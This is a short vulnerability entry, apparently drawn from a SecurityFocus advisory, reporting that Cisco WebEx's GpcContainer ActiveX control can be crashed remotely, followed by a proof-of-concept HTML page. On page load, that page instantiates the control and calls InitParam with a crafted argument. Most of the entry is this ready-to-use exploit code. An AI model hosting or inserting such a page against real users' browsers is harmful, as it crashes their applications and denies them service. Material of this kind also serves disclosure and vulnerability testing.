source: https://www.securityfocus.com/bid/26430/info WebEx is prone to multiple remote denial-of-service vulnerabilities. Attackers can exploit these issues to crash applications that use the ActiveX control, denying service to legitimate users. <html> <head> <script language="JavaScript" DEFER> function Check() { var obj = new ActiveXObject("GpcContainer.GpcContainer.1"); obj.InitParam("A"); } </script> </head> <body onLoad="JavaScript: return Check();"> </body> </html>